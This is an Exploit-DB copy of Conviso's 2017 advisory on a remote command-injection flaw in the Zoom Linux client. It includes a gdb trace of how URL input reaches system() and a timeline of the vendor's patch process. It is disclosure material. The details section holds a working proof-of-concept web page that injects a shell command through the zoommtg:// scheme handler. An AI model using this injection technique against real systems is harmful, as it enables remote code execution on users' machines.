Zoom Linux Client 2.0.106600.0904 - Command Injection

EDB-ID:

43354


Author:

Conviso

Type:

dos


Platform:

Linux

Date:

2017-12-18


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[CONVISO-17-003] - Zoom Linux Client Command Injection Vulnerability (RCE)

1. Advisory Information
    Conviso Advisory ID: CONVISO-17-003
    CVE ID: CVE-2017-15049
    CVSS v2: 10, (AV:N/AC:L/Au:N/C:C/I:C/A:C)
    Date: 2017-10-01

2. Affected Components
    Zoom client for Linux, version 2.0.106600.0904 (zoom_amd64.deb). Other versions may be
    vulnerable.

3. Description
    The binary /opt/zoom/ZoomLauncher is vulnerable to command injection because it uses user input
    to construct a shell command without proper sanitization.
    The client registers a scheme handler (zoommtg://) and this makes possible to trigger the
    vulnerability remotely.

4. Details
    gef>  r '$(uname)'
    Starting program: /opt/zoom/ZoomLauncher '$(uname)'
    ZoomLauncher started.
    cmd line: $(uname)
    $HOME = /home/user

    Breakpoint 5, 0x0000000000401e1f in startZoom(char*, char*) ()
    gef>  x/3i $pc
    => 0x401e1f <_Z9startZoomPcS_+744>:     call   0x4010f0 <strcat@plt>
       0x401e24 <_Z9startZoomPcS_+749>:     lea    rax,[rbp-0x1420]
       0x401e2b <_Z9startZoomPcS_+756>:     mov    rcx,0xffffffffffffffff
    gef>  x/s $rdi
    0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export
    LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \""
    gef>  x/s $rsi
    0x7fffffffd750: "$(uname) "
    gef>  c
    Continuing.
    export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export
    LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom "$(uname) "

    Breakpoint 6, 0x0000000000401e82 in startZoom(char*, char*) ()
    gef>  x/3i $pc
    => 0x401e82 <_Z9startZoomPcS_+843>:     call   0x401040 <system@plt>
       0x401e87 <_Z9startZoomPcS_+848>:     mov    DWORD PTR [rbp-0x18],eax
       0x401e8a <_Z9startZoomPcS_+851>:     mov    eax,DWORD PTR [rbp-0x18]
    gef>  x/s $rdi
    0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export
    LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \"$(uname) \""

    --- RCE POC ---
    <html>
        <head>
        </head>
        <body>
            <h1>Zoom POC RCE</h1>
            <script>
                window.location = 'zoommtg://$(gnome-calculator${IFS}-e${IFS}1337)'
            </script>
        <body>
    </html>

5. Solution
    Upgrade to latest version.

6. Credits
    Ricardo Silva <rsilva@conviso.com.br>
    Gabriel Quadros <gquadros@conviso.com.br>

7. Report Timeline
    Set 28, 2017 - Conviso sent first email asking for a channel to discuss the vulnerability.
    Set 28, 2017 - Vendor asked the report in the current channel.
    Set 28, 2017 - Conviso sent informations to reproduce the vulnerability.
    Set 28, 2017 - Conviso asked if they could reproduce it.
    Set 28, 2017 - Vendor replied saying that the informations were forwarded to engineering team.
    Oct  5, 2017 - Vendor provided a patch candidate for testing.
    Oct  5, 2017 - Conviso pointed problems in the patch.
    Oct 11, 2017 - Vendor provided a patch candidate for testing.
    Oct 12, 2017 - Conviso pointed problems in the patch.
    Oct 23, 2017 - Conviso asked for status.
    Oct 27, 2017 - Conviso asked for status.
    Nov  1, 2017 - Conviso asked for status.
    Nov  3, 2017 - Vendor replied.
    Nov  6, 2017 - Conviso asked for status.
    Nov  6, 2017 - Vendor replied.
    Nov  9, 2017 - Conviso asked for status.
    Nov 13, 2017 - Conviso asked for status.
    Nov 15, 2017 - Conviso asked for status.
    Nov 16, 2017 - Vendor provided a patch candidate for testing.
    Nov 16, 2017 - The patch seems to fix the attack vector, although no further research was done.
    Nov 20, 2017 - Vendor thanked and marked the issue as solved, considering the patch as a
    sastifactory fix.
    Nov 30, 2017 - Vendor released the version 2.0.115900.1201

8. References
    https://zoom.us/download
    https://support.zoom.us/hc/en-us/articles/205759689-New-Updates-for-Linux

9. About Conviso
    Conviso is a consulting company specialized on application security. Our values are based on the
    allocation of the adequate competencies on the field, a clear and direct speech with the market,
    collaboration and partnership with our customers and business partners and constant investments
    on methodology and research improvement. For more information about our company and services
    provided, please check our website at www.conviso.com.br.

10. Copyright and Disclaimer
    The information in this advisory is Copyright 2017 Conviso Application Security S/A and provided
    so that the society can understand the risk they may be facing by running affected software,
    hardware or other components used on their systems. In case you wish to copy information from
    this advisory, you must either copy all of it or refer to this document (including our URL). No
    guarantee is provided for the accuracy of this information, or damage you may cause your systems
    in testing.